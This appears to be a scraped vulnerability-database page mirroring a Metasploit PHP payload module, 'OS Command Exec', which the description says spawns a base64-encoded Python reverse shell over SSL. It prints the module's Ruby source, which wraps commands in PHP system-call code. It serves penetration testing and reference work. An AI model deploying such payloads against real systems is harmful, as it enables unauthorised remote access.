METASPLOIT

OS Command Exec, Unix Command Shell, Reverse TCP SSL (via python)_MSF:PAYLOAD-PHP-UNIX-CMD-REVERSE_PYTHON_SSL-

Description

Execute an OS command from PHP. Creates an interactive shell via python, uses SSL, encodes with base64...
Visit Original Source

Basic Information

ID MSF:PAYLOAD-PHP-UNIX-CMD-REVERSE_PYTHON_SSL-
Published Aug 28, 2025 at 18:54
Modified Jun 9, 2025 at 18:51

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
include Msf::Payload::Adapter

def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS Command Exec',
'Description' => 'Execute an OS command from PHP',
'Author' => 'Spencer McIntyre',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_CMD,
'AdaptedPlatform' => 'unix'
)
)
end

def generate(_opts = {})
payload = super

vars = Rex::RandomIdentifier::Generator.new(language: :php)

<<~TEXT
#{Msf::Payload::Php.preamble(vars_generator: vars)}
#{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)}
?>
TEXT
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.